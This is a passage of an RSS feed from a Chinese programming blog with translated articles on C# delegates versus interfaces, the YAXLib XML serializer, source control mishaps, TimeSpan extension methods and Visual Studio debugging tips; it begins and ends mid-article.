&lt;pre class=&#34;lang:default decode:true&#34;&gt;Stopwatch stopwatch = new Stopwatch();
stopwatch.Start();
for(int i=0; i&amp;lt;COUNT; i++)
{
  Action action = SomeMethod;
  action();
}
stopwatch.Stop();
Console.WriteLine(stopwatch.Elapsed);&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;对于接口&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;Stopwatch stopwatch = new Stopwatch();
stopwatch.Start();
for(int i=0; i&amp;lt;COUNT; i++)
{
  IRunnable runnable = this;
  runnable.Run();
}
stopwatch.Stop();
Console.WriteLine(stopwatch.Elapsed);&lt;/pre&gt;
&lt;p&gt;我知道接口会更快。不是因为他们执行更快。而是因为每一次迭代，一个新的Action委托都会被分配。 但是。如果把委托和接口的获得语句放在循环之外。委托会更快一些。&lt;/p&gt;
&lt;p&gt;当创建事件的时候。举个例子。我们在给事件添加委托的时候，就只添加一次。这样。即使事件被触发再多次。也只进行了一次内存分配。&lt;/p&gt;
&lt;h2 id=&#34;那么谁赢了&#34;&gt;那么？谁赢了？&lt;/h2&gt;
&lt;p&gt;好。对于事件，委托将会更快些。&lt;/p&gt;
&lt;p&gt;但是。在说委托更好或是更快之前，我们再看另一种情况。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;h1 id=&#34;匿名方法&#34;&gt;匿名方法&lt;/h1&gt;
&lt;p&gt;在我看来，匿名方法是委托最糟糕的使用。但是同时。也正在变成最普遍的用法。&lt;/p&gt;
&lt;p&gt;当你像这段代码这样调用的时候&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;for(int i=0; i&amp;lt;count; i++)
  MethodThatReceivesADelegate(() =&amp;gt; SomeCall(i));&lt;/pre&gt;
&lt;p&gt;事实上，编译器将会创建一个接受参数i的方法实例，然后创建另一个实例（即委托）来引用这个实例。&lt;/p&gt;
&lt;p&gt;如果用接口来替换的话。编译器将指挥分配单一的对象，该对象实现了接口&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;h2 id=&#34;可能的抱怨&#34;&gt;可能的抱怨&lt;/h2&gt;
&lt;p&gt;一些人也许对那个接受参数i的方法实例的问题有所疑惑。他们可能认为，在每一次迭代中。实例里面的之被改变了。也许编译器可以优化这个委托的内存分配。实际只分配了一次。&lt;/p&gt;
&lt;p&gt;好把。对于委托的内存分配我不知道。但是。对于要分配一个接受参数i的单一实例，确实真的。也是一个bug。如果MethodThatReceivesADelegate 把委托传递给另一个线程。其他的线程也许会接收到错误的i值，在.net 4.5中。这块不会出错。因为。每一次迭代。一个新的对象被创建。这就能保证当委托被传递到另一个线程里的时候。结果总是正确的。但这也就意味着每次都会有一个新的委托会创建。&lt;/p&gt;
&lt;p&gt;如果MethodThatReceivesADelegate 仅仅使用委托一次。使用接口也许更好。不幸的是。我们没有办法实现匿名接口。&lt;/p&gt;
&lt;p&gt;好。如果是为了方便。委托更好。但是如果要求性能。在这种情况下。接口会更好。因为避免了一次不必要的内存分配。&lt;/p&gt;
&lt;p&gt;事实上，我创建了IRunnable接口是为了强制使用者实现了一个新的类型，而不是使用匿名委托。这样就可以解决在for循环（或是任何在foreach里使用的任何值）i值可变的问题，同时也有一定的性能提升。。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;h1 id=&#34;调用和动态调用&#34;&gt;调用和动态调用&lt;/h1&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;现在我们知道有匿名委托，但是没有匿名接口，只使用一次的情况下，接口将会比委托有更好的性能。因为只请求一个对象而不是两个。&lt;/p&gt;
&lt;p&gt;这让我开始考虑，当一个方法接受一个只会执行一次的方法作为参数的时候，我应该使用委托还是是用接口。&lt;/p&gt;
&lt;p&gt;但是。更多的性能相关的情况下我们可以这样用。。&lt;/p&gt;
&lt;p&gt;你是否曾经有过要用动态调用代替直接委托调用的情况？一般是在编译时并不知道委托的参数类型的情况下。&lt;/p&gt;
&lt;p&gt;好。当有一个接口。在接口的方法里有一个方法调用的参数类型未定。我不知道为什么。但是反射调用和委托的动态调用都极慢。比直接对参数做转换都慢。而数组长度验证。然后放到一个try/catch块里会抛出TargetInvocationException 异常。&lt;/p&gt;
&lt;p&gt;因此。如果你有类似下面的代码：&lt;/p&gt;
&lt;div&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;public interface IDynamicInvokable
&lt;p&gt;{&lt;/p&gt;
&lt;p&gt;object DynamicInvoke(params object[] parameters);&lt;/p&gt;
&lt;p&gt;}&lt;/pre&gt;&lt;/p&gt;
&lt;/div&gt;
那么你可以创建你的委托接口，是IDynamicInvokable 接口的继承接口，像这样：
&lt;div&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;public interface IAction&amp;lt;T&amp;gt;:
&lt;p&gt;IDynamicInvokable&lt;/p&gt;
&lt;p&gt;{&lt;/p&gt;
&lt;p&gt;void Invoke(T parameter);&lt;/p&gt;
&lt;p&gt;}&lt;/pre&gt;&lt;/p&gt;
&lt;/div&gt;
这样你的用户就可以通过Invoke方法调用你的接口，如果他们在编译时不知道接口的类型。他们可以使用更泛化一些的IDynamicInvoke。
&lt;p&gt;注意：我讨厌泛型这个名字。对于我来说。IDynamicInvoke 是调用方法最泛型的的途径，而IAction&amp;lt;T&amp;gt; 是类型接口，因此，我我说泛型的时候。我其实是在说更加普遍无类型的调用泛型。而不是类型指定的泛型。&lt;/p&gt;
&lt;p&gt;那么，如果对委托做上千次调用。但是使用DynamicInvoke 代替Invoke，接口会做的更好&lt;/p&gt;
&lt;p&gt;我又一次的问我自己。匿名委托的简单性值得吗？仅仅为了更好的性能我就把让我的用户对我方法的调用变得困难？并且这真的会影响到程序的整体性能吗？&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;h2 id=&#34;泛型差异无类型的使用&#34;&gt;泛型，差异，无类型的使用&lt;/h2&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;我刚刚说我讨厌泛型的名字。因为使用泛型的代码通常是有类型的代码，而我们也许需要的无具体类型的代码，我认为这样更加泛一些。&lt;/p&gt;
&lt;p&gt;但是。让我好好讨论一下.net的泛型。假设你知道一个委托的参数数目，但是你不知道具体的类型，这和DynamicInvoke 是不一样的。因为这个方法。简单的把所有的参数当成一个数组。&lt;/p&gt;
&lt;p&gt;泛型具化或者是相反可以有一些帮助。但是很小。&lt;/p&gt;
&lt;p&gt;比如。我们可以把 &lt;code&gt;Func&amp;amp;lt;string&amp;amp;gt;&lt;/code&gt; 当成 &lt;code&gt;Func&amp;amp;lt;object&amp;amp;gt; ``，或是把``Action&amp;amp;lt;object&amp;amp;gt;&lt;/code&gt; 看成 &lt;code&gt;Action&amp;amp;lt;string&amp;amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;理由很简单，当返回一个值的时候（``Func``的情况），``string``是一个``object``。将不会做任何转换。将会简单地返回一个``string``，调用这会看成一个无类型的``object``。但是可以。而在``Action``这个情况下。它需要一个``object``，而``string&lt;/code&gt;.是可用的object，所以也可以。&lt;/p&gt;
&lt;p&gt;但是。如果你想要把&lt;code&gt;Func&amp;amp;lt;int&amp;amp;gt;&lt;/code&gt; 当作Func&amp;lt;object&amp;gt;。更广泛一点。想把所有的参数转换成object，可以吗？&lt;/p&gt;</description>
    </item>
    <item>
      <title>YAXLib---- XML序列化神器</title>
      <link>http://blog.leaver.me/2012/10/05/yaxlib----xml%E5%BA%8F%E5%88%97%E5%8C%96%E7%A5%9E%E5%99%A8/</link>
      <pubDate>Fri, 05 Oct 2012 16:24:31 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/10/05/yaxlib----xml%E5%BA%8F%E5%88%97%E5%8C%96%E7%A5%9E%E5%99%A8/</guid>
      <description>&lt;p&gt;今天早上翻译了&lt;a href=&#34;http://www.codeproject.com/Articles/34045/Yet-Another-XML-Serialization-Library-for-the-NET&#34;&gt;Yet-Another-XML-Serialization-Library-for-the-NET&lt;/a&gt;，刚开始以为很短。翻译着发现不对。。然后你不逼你自己。怎么知道自己做不到。于是。将近4个小时把30页的文档翻译完了。因为文章很长。所以本文只列出前两部分。我把翻译好的做成了pdf，&lt;/p&gt;
&lt;p&gt;文档下载：&lt;a href=&#34;http://pan.baidu.com/share/link?shareid=74284&amp;amp;uk=1493685990&#34;&gt;XML序列化神器&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&#34;1-介绍&#34;&gt;1 介绍&lt;/h2&gt;
&lt;p&gt;在本文中，会把要提到的XML序列化库叫做YAXLib，我们知道。.Net 还是提供了一些序列化功能的，尤其是XmlSerializer，该类被程序员广泛使用用来序列化对象成XML，当然，反序列化也是可以的。我认为XmlSerializer类的问题有几下几点&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;程序员不能自由的选择生成的xml的结构&lt;/li&gt;
&lt;li&gt;不支持序列化一些集合类，比如Dictionary&amp;lt;,&amp;gt; 或者IEnumerable&amp;lt;&amp;gt;的属性&lt;/li&gt;
&lt;li&gt;当反序列化的时候，如果缺失了一些域，则反序列化失败，这就使得用来存储一ixekeyi被用户编辑的配置文件变得不合适了。
 &lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&#34;2-为什么使用yaxlib&#34;&gt;2 为什么使用YAXLib&lt;/h2&gt;
&lt;p&gt;YAXLib解决上述问题的特点&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;程序员可以决定xml文件的结构，一个属性可以是一个子元素，或者是其他属性的属性，或者是一个在类中没有对应属性的元素。&lt;/li&gt;
&lt;li&gt;集合类也可以被序列化成一个逗号分隔（也可以是其他任何分隔符）的数据项列表，而且。为Dictionary&amp;lt;,&amp;gt;对象实现了一些特殊的格式化功能，这样，使得程序员可以完全控制生成的xml文件的结构&lt;/li&gt;
&lt;li&gt;他支持System.Collections.Generic 命名空间中的所有泛型集合类（像&lt;code&gt;Dictionary&lt;/code&gt;, &lt;code&gt;HashSet&lt;/code&gt;, &lt;code&gt;LinkedList&lt;/code&gt;, &lt;code&gt;List&lt;/code&gt;, &lt;code&gt;Queue&lt;/code&gt;,&lt;code&gt;SortedDictionary&lt;/code&gt;, &lt;code&gt;SortedList&lt;/code&gt;, 和 &lt;code&gt;Stack&lt;/code&gt;） 和在&lt;code&gt;System.Collections&lt;/code&gt;  命名空间中的非泛型集合类（ &lt;code&gt;ArrayList&lt;/code&gt;, &lt;code&gt;BitArray&lt;/code&gt;, &lt;code&gt;Hashtable&lt;/code&gt;, &lt;code&gt;Queue&lt;/code&gt;, &lt;code&gt;SortedList&lt;/code&gt;, 和 &lt;code&gt;Stack&lt;/code&gt;）非泛型集合类可以包含多种不同的对象，而且，库还支持序列化和反序列化一维，多维，不规则的数组。&lt;/li&gt;
&lt;li&gt;支持通过对基类/接口的引用，实现对一些对象集合的序列化和反序列化。&lt;/li&gt;
&lt;li&gt;支持多级反序列化&lt;/li&gt;
&lt;li&gt;程序员可以为生成的xml提供注释&lt;/li&gt;
&lt;li&gt;当进行反序列化的时候，程序员可以选择性对于那些与类的属性相关，但没有出现在xml文件中的数据应该如何处理。这种情况下可以看错是一个错误，然后类库抛出一些异常，或者记录错误，或者可以被看成一个警告，然后用程序员预定义的值赋给对应的属性，而且，程序可以可以选择忽略这个问题，相关的异常将既不抛出也不作任何记录。请查看保留空引用标识那一节 看看什么时候可以忽略孤立的数据也许对你有帮助&lt;/li&gt;
&lt;li&gt;程序员可以自己选择错误处理规则，对于数据敏感的应用程序，程序员可以选择在任何异常的情况下，库都应该抛出并且记录异常，对于其他的一些情况（比如要求不那么高的配置文件的存储），程序员可以选择把异常仅仅看成一个警告，仅仅记录一下，让程序的其他部分继续运行。
文档下载：&lt;a href=&#34;http://pan.baidu.com/share/link?shareid=74284&amp;amp;uk=1493685990&#34;&gt;XML序列化神器&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;著作权声明：本文由&lt;a href=&#34;http://leaver.me/&#34;&gt;http://leaver.me&lt;/a&gt; 翻译，欢迎转载分享。请尊重作者劳动，转载时保留该声明和作者博客链接，谢谢！&lt;/p&gt;</description>
    </item>
    <item>
      <title>关于源代码控制的五个误区</title>
      <link>http://blog.leaver.me/2012/10/04/%E5%85%B3%E4%BA%8E%E6%BA%90%E4%BB%A3%E7%A0%81%E6%8E%A7%E5%88%B6%E7%9A%84%E4%BA%94%E4%B8%AA%E8%AF%AF%E5%8C%BA/</link>
      <pubDate>Thu, 04 Oct 2012 12:18:57 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/10/04/%E5%85%B3%E4%BA%8E%E6%BA%90%E4%BB%A3%E7%A0%81%E6%8E%A7%E5%88%B6%E7%9A%84%E4%BA%94%E4%B8%AA%E8%AF%AF%E5%8C%BA/</guid>
      <description>&lt;p&gt;上周，在Red Gate好朋友的帮助下。我发起了一个名为小竞赛赢得优秀的SQL  Source Control 5份授权的活动。参加的方式很简单-分享你使用源代码控制过程中，本可以避免的最痛苦的经历&lt;/p&gt;
&lt;p&gt;许多痛苦的故事都出现了。但是我认为这五个获奖者的故事值得分享，并且我都做了评论，因为我觉得随着时间的流逝，这些故事依然对我们有所启发。那么，开始享受这些故事吧，我希望这些知识中的闪光点能够帮助你以后不会掉进相同的陷阱里。&lt;/p&gt;
&lt;p&gt;给获奖者：希望那些授权可以帮助抚慰你们关于那些已经过去的痛苦记忆。不久我会联系你们关于奖项颁发的相关事宜。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;1.通过Ctrl-Z来进行源代码控制&lt;/p&gt;
&lt;p&gt;第一个故事来自 &lt;a href=&#34;http://www.troyhunt.com/2012/09/life-without-source-control-share-your.html#comment-661870477&#34;&gt;courtesy of MyChickenNinja&lt;/a&gt; ，仅仅文字就看得我头疼。在这个特殊的故事里。应用程序被前员工破坏了。。这非常头疼。但是至少还是有很多方法可以恢复代码的。如果不要求数据的话。。&lt;/p&gt;
&lt;p&gt;第一个问题是备份，最近的备份已经是3周前的。这绝对是一个教训—你的环境真的备份了吗？一会我会在另一个故事里简单的再说到这个问题。故事的核心部分是通过Ctrl-Z来进行伪源代码控制&lt;/p&gt;
&lt;p&gt;他们运行他们的代码，并且不断地更新，也包括开发环境，并且使用Ctrl-Z来撤销坏的改变&lt;/p&gt;
&lt;p&gt;好吧。这实在令人难以置信-如果你的应用程序已经做了一些编辑。然后被关闭了。怎么办？或者PC关机了？等等—他还说他们在哪写代码，哪儿就是开发环境？记住！撤销不是源代码控制！&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;2。多个数据库和集成问题&lt;/p&gt;
&lt;p&gt;第二个故事来自&lt;a href=&#34;http://www.troyhunt.com/2012/09/life-without-source-control-share-your.html#comment-661017718&#34;&gt;Brandon Thompson&lt;/a&gt;，他极度不开心，因为他工作在一个有着很多数据库源的环境里，并且，这些数据库都在正在进行的开发项目下面，数据库集成非常困难，这就意味着处理多个数据库备份可能还有个在海外。。&lt;/p&gt;
&lt;p&gt;我们的开发团队在海外，因为他们有他们自己的数据库集，这些数据库我从没看到过。但是他们会把改变的文件发给我们来适应我们的开发环境&lt;/p&gt;
&lt;p&gt;我发现最痛苦的是简单重复的手工劳动仅仅是使得大家能够协同的更好。这是没有一点创新并且没有任何增值的行为，比如增加新的特性，这就导致除了干这些。没什么时间真正在写代码了。&lt;/p&gt;
&lt;p&gt;源代码控制是为了能够保证团队之间平稳尽量无摩擦的一起工作。它是项目的一个润滑剂，和持续集成开发还有自动部署都属于同一类。这些都是软件开发中的“面包和黄油”，是任何成功团队编写代码的基础。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;3. 依赖未测试的备份&lt;/p&gt;
&lt;p&gt;下一个是&lt;a href=&#34;http://www.troyhunt.com/2012/09/life-without-source-control-share-your.html#comment-660761685&#34;&gt;Barry Anderson&lt;/a&gt;，他写了一个我们都曾经经历过的痛苦：不能从备份恢复了！事实上在Barry的故事里。几个月都没备份了。之前备份本身还是坏的。这太糟糕了。但是，对于那些依赖备份的人来说这是一个严重的疏忽。&lt;/p&gt;
&lt;p&gt;当然对于这个疏忽也有自己的借口。Barry解释道：&lt;/p&gt;
&lt;p&gt;我们的经理（不是存储团队的）后来告诉我们既没时间也没空间来测试备份了。。。&lt;/p&gt;
&lt;p&gt;备份是一件很重要的事情。但从备份可以恢复也是同等重要，我最近在配置大量的新环境的时候，备份本应该发生的但是就是没有发生。只有当我坚持要进行恢复测试的时候，问题才浮出水面，对于很多人来说。只有当他们真的需要从一系列的数据丢失中恢复数据的时候，才发现不能恢复了。。测试你的备份，恢复他们，不要相信任何人的说辞.&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;4.人工合并工具&lt;/p&gt;
&lt;p&gt;来自&lt;a href=&#34;http://www.troyhunt.com/2012/09/life-without-source-control-share-your.html#comment-660732156&#34;&gt;Graham Sutherland&lt;/a&gt;的故事讲了一个人来做机器工作的故事&lt;/p&gt;
&lt;p&gt;我们有一些开发人员，每一个在他们的硬盘上的都有整个项目的一个副本，每一次一个改变发生的时候，我们就会下载技术老大改变的源代码，然后使用diff工具来查看改变。然后手工更新他们。一行一行。。全靠双手。。&lt;/p&gt;
&lt;p&gt;这个故事比听起来还要不可思议，在源代码控制工具出现以前这确实是存在的。一个海外开发团队成员就是这样干的。随后他们这样解释：带头的开发者需要在提交前检查其他开发人员的工作进度。&lt;/p&gt;
&lt;p&gt;这确实是类似于之前的观点,在有多个数据库集成的情况下;我们有技术来解决这些问题!每当一个人在软件开发中从事任何劳动密集型,重复的过程,你真的不得不停下来问:“有没有更好的方法?”通常是有的。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;5.剪切和粘贴版本控制&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://www.troyhunt.com/2012/09/life-without-source-control-share-your.html#comment-660687452&#34;&gt;Robin Vessey&lt;/a&gt; 让我产生了共鸣，因为它真的是伪VCS（Version Control System）最普遍的方式。剪切或者复制，然后粘贴到新的位置，通过这种方式会包含重复的目录或者文件。因此一般这些文件会被以日期或者其他标识符来标识时间帧。&lt;/p&gt;
&lt;p&gt;在Robin的故事里，他打算通过网络移动一个目录结构。&lt;/p&gt;
&lt;p&gt;他很简单但高效，我剪贴然后粘贴了一个完整的目录树，任何东西，通过网络发送。但这些文件留在了我这一边。却没有到达另一边。我仍然不知道为什么。&lt;/p&gt;
&lt;p&gt;我必须承认,我对任何剪切和粘贴文件的操作的态度是非常谨慎的,因为我看到这种情况在一个本地文件系统中发生了很多次，更不用说通过网络了，在上面的的Robin的故事,就是没有备份被恢复,因为他们一段时间后会停止备份，“因为我们没有更多的空间”。是不是感觉好像和前面某一方法很像。。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;总结&lt;/p&gt;
&lt;p&gt;工作在一个没有源代码控制的环境下是很可怕的。现在就停止吧。伙计们，我们是很优秀，但在在源代码控制下工作是很专业的。并且现在有很多的VCS产品。托管服务，集成工具，真心是没有任何理由不把代码-包括数据库，部署在源代码控制下。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;原文地址:&lt;a href=&#34;http://www.troyhunt.com/2012/10/5-ways-to-do-source-control-really.html&#34;&gt;5-ways-to-do-source-control-really&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;著作权声明：本文由&lt;a href=&#34;http://leaver.me/&#34;&gt;http://leaver.me&lt;/a&gt; 翻译，欢迎转载分享。请尊重作者劳动，转载时保留该声明和作者博客链接，谢谢！&lt;/p&gt;</description>
    </item>
    <item>
      <title>简单扩展方法增强代码可读性</title>
      <link>http://blog.leaver.me/2012/10/04/%E7%AE%80%E5%8D%95%E6%89%A9%E5%B1%95%E6%96%B9%E6%B3%95%E5%A2%9E%E5%BC%BA%E4%BB%A3%E7%A0%81%E5%8F%AF%E8%AF%BB%E6%80%A7/</link>
      <pubDate>Thu, 04 Oct 2012 09:03:48 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/10/04/%E7%AE%80%E5%8D%95%E6%89%A9%E5%B1%95%E6%96%B9%E6%B3%95%E5%A2%9E%E5%BC%BA%E4%BB%A3%E7%A0%81%E5%8F%AF%E8%AF%BB%E6%80%A7/</guid>
      <description>&lt;p&gt;本文技术含量不高，但是思路可以借鉴。。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;介绍&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;当你处理计时器，时间间隔，或是其他关于日期的计算的时候。你必然会使用TimeSpan类。&lt;/p&gt;
&lt;p&gt;我觉得写出下面的代码可读性并不好。。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;// 1个表示5小时的时间间隔
var theTimespan = new TimeSpan(0, 5, 0, 0, 0);&lt;/pre&gt;
&lt;p&gt;而下面的代码就要好一些&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;//一个表示5小时的时间间隔
var theTimespan = 5.Hours();&lt;/pre&gt;
&lt;p&gt;** 扩展方法**&lt;/p&gt;
&lt;p&gt;使用这些扩展了int类的方法。可以使得创建TimeSpan可读性更好&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;public static TimeSpan Days(this int value)
{
    return new TimeSpan(value, 0, 0, 0, 0);
}

public static TimeSpan Years(this int value)
{
    var dt = DateTime.Now.AddYears(value);
    return (dt - DateTime.Now).Duration();
}

public static TimeSpan Hours(this int value)
{
    return new TimeSpan(0, value, 0, 0, 0);
}

public static TimeSpan Minutes(this int value)
{
    return new TimeSpan(0, 0, value, 0, 0);
}

public static TimeSpan Seconds(this int value)
{
    return new TimeSpan(0, 0, 0, value, 0);
}

public static TimeSpan Milliseconds(this int value)
{
    return new TimeSpan(0, 0, 0, 0, value);
}&lt;/pre&gt;
&lt;p&gt;许可&lt;/p&gt;
&lt;p&gt;本文所有源代码包括文件在CPOL下授权。。&lt;/p&gt;
&lt;p&gt;原文地址：&lt;a href=&#34;http://www.codeproject.com/Tips/469097/Simple-extension-methods-for-code-readability&#34;&gt;Simple-extension-methods-for-code-readability&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;著作权声明：本文由&lt;a href=&#34;http://leaver.me/&#34;&gt;http://leaver.me&lt;/a&gt; 翻译，欢迎转载分享。请尊重作者劳动，转载时保留该声明和作者博客链接，谢谢！&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt; &lt;/p&gt;</description>
    </item>
    <item>
      <title>11个高效的VS调试技巧</title>
      <link>http://blog.leaver.me/2012/10/03/11%E4%B8%AA%E9%AB%98%E6%95%88%E7%9A%84vs%E8%B0%83%E8%AF%95%E6%8A%80%E5%B7%A7/</link>
      <pubDate>Wed, 03 Oct 2012 10:45:15 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/10/03/11%E4%B8%AA%E9%AB%98%E6%95%88%E7%9A%84vs%E8%B0%83%E8%AF%95%E6%8A%80%E5%B7%A7/</guid>
      <description>&lt;p&gt;&lt;strong&gt;介绍&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;调试是软件开发周期中的一个很重要的部分，有时很有挑战性，有时候则让程序员迷惑，有时候让程序员发疯，但是。可以肯定的是，对于任何不是太那个微不足道的程序来说，调试是不可避免的。近年来，调试工具的发展已经使得很多调试任务简单省时了。&lt;/p&gt;
&lt;p&gt;本文总结了十个调试技巧，当你使用VS的时候可以节省你很多时间。&lt;/p&gt;
&lt;p&gt;1. 悬停鼠标查看表达式&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27679_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/5b9e01a5158e02f8079c7dc331f56110f3e0b82d.png&#34; title=&#34;1&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;调试有时候很有挑战性，当你步入一个函数想看看哪块出错的时候，查看调用栈来想想值是从哪来的。另一些情况下，则需要添加一些监视表达式，或者查看局部变量列表，这通常还是花费一些时间的，但是。如果你把你鼠标指向你感兴趣的一个变量。你会发现事情简单多了。而且，类和结构体可以通过单击展开。这样。你就可以方便快捷的找到你想查看的变量了。&lt;/p&gt;
&lt;p&gt;2. 实时改变值
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27680_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/eade577f5ea39d3b970613ac3123610b67e427cb.png&#34; title=&#34;2&#34;&gt;&lt;/a&gt;
调试器不仅仅是一个分析程序崩溃或是异常结果的工具了，许多bug都可以通过步入新写的函数，检查函数是否如期望的那样运行来预防。有时候你可能会好奇“如果条件为真函数会正确运行吗”大多数情况下，根本不需要改变代码重启挑起，仅仅把鼠标悬停到一个变量上，双击值然后输入一个新值就可以了。。&lt;/p&gt;
&lt;p&gt;3．设置下一条语句
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27690_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/1c86cc15b16c98adc1563eb1660481fa249beaf0.png&#34; title=&#34;3&#34;&gt;&lt;/a&gt;
一个典型的调试情况就是通过单步跟踪分析为什么一个函数调用失败了。当你发现一个函数调用的另一个函数返回错误的时候你会怎么做？重启调试？有更好的方法。拖动这个黄色的语句标识到你想下一步执行的语句前就可以了。比如你刚才失败的那块，然后步入。简单，不是吗？&lt;/p&gt;
&lt;p&gt;4.编辑然后继续
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27682_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/8117d2025d49155485268fc1b56041e96cefaeac.png&#34; title=&#34;4&#34;&gt;&lt;/a&gt;
调试一个复杂的程序，或是一个插件的时候，在一个被调用很多次的函数处发现一个错误。但是不想浪费时间停下来，重新编译然后重新调试。没问题，仅仅在该处改正代码然后继续单步就可以。VS会修正程序然后继续调试不需要重启&lt;/p&gt;
&lt;p&gt;注意，编辑然后继续有大量的已知限制，首先，64位代码是不行的。如果他如果为你的C#程序工作。就去工程设置的生成选项，然后目标平台为x86.不要担心。发布版的目标平台和调试的时候是分开的。可以被设置为任何平台。。&lt;/p&gt;
&lt;p&gt;第二．编辑然后继续改变在一个方法里应该是局部的。。如果你改变了方法签名，添加一些新方法或是类。你就不得不重启程序了。或者撤销改变来继续。改变方法也包含lambda表达式隐式修改的自动生成的代理类，因此也不能继续。&lt;/p&gt;
&lt;p&gt;5.方便的监视窗口
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27683_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/a204da1e7bb82719b4a965da45d1cfcc51a90cd3.png&#34; title=&#34;5&#34;&gt;&lt;/a&gt;
大概现代的调试器都有一个监视窗口，无论如何。VS允许你简单的添加或移除变量。单击空行，输入你的表达式按下回车，或者是在不需要的表达式上按下Delete键就可以删除了。
而且。从监视窗口你不仅仅可以看到“正常”的变量。你可以输入$handles 来追踪你的程序打开了多少句柄（可以方便的修复内存泄漏） ，输入$err 可以看到上一个函数的错误码，然后使用工具-错误信息可以看到更详细的描述，或者输入@eax（64位是@rax）来查看包含函数返回值的寄存器。&lt;/p&gt;
&lt;p&gt;6.带注释的反汇编
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27684_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/d61b64ed0a189bec2f34f2faaf059916cce8e525.png&#34; title=&#34;6&#34;&gt;&lt;/a&gt;
使用交互式的反汇编模式可以使得优化程序的关键部分变得很容易，VS给出对应你代码每一行的汇编指令，并且运行单步运行。同时，可以在任何位置设置断点。而且，表达式的查看和修改也像在C++代码里一样&lt;/p&gt;
&lt;p&gt;7.带有栈的线程窗口
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27691_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/5b212033679007829bb5c0684d62ab8f27a0514b.png&#34; title=&#34;7&#34;&gt;&lt;/a&gt;
调试多线程的程序是痛苦的。。或者也可以是很有趣的。取决于你的调试器。VS2010真正优美的特性是线程窗口的栈视图，通过窗口的调用栈你可以方便的总览线程。&lt;/p&gt;
&lt;p&gt;8.条件断点
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27686_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/e93436bf72af22e533fe859971913a3d3c555789.png&#34; title=&#34;8&#34;&gt;&lt;/a&gt;
如果你尝试通过断点再现一个罕见的事件，该情况引发了一些严重的错误。你可以添加条件断点。定义一个断点的条件，然后如果条件不成立，VS会忽略该断点&lt;/p&gt;
&lt;p&gt;9.内存窗口
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27687_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/0cfda80c7dbe3d0c50bb5646155914b5e3f07f4f.png&#34; title=&#34;9&#34;&gt;&lt;/a&gt;
有些bug由不正确的结构体定义引起，忽略的对齐属性等等。查看内存中的内容可以定位然后修复bug。VS提供了一个放百年的内存窗口，可以把值以8/16/32/64位的形式展示。还有浮点值。也允许实时改变他们。就像在文本编辑器里一样。&lt;/p&gt;
&lt;p&gt;10.转到定义
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27688_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/3593aad0199fbed2f8faaef908e151a068e14d09.png&#34; title=&#34;10&#34;&gt;&lt;/a&gt;
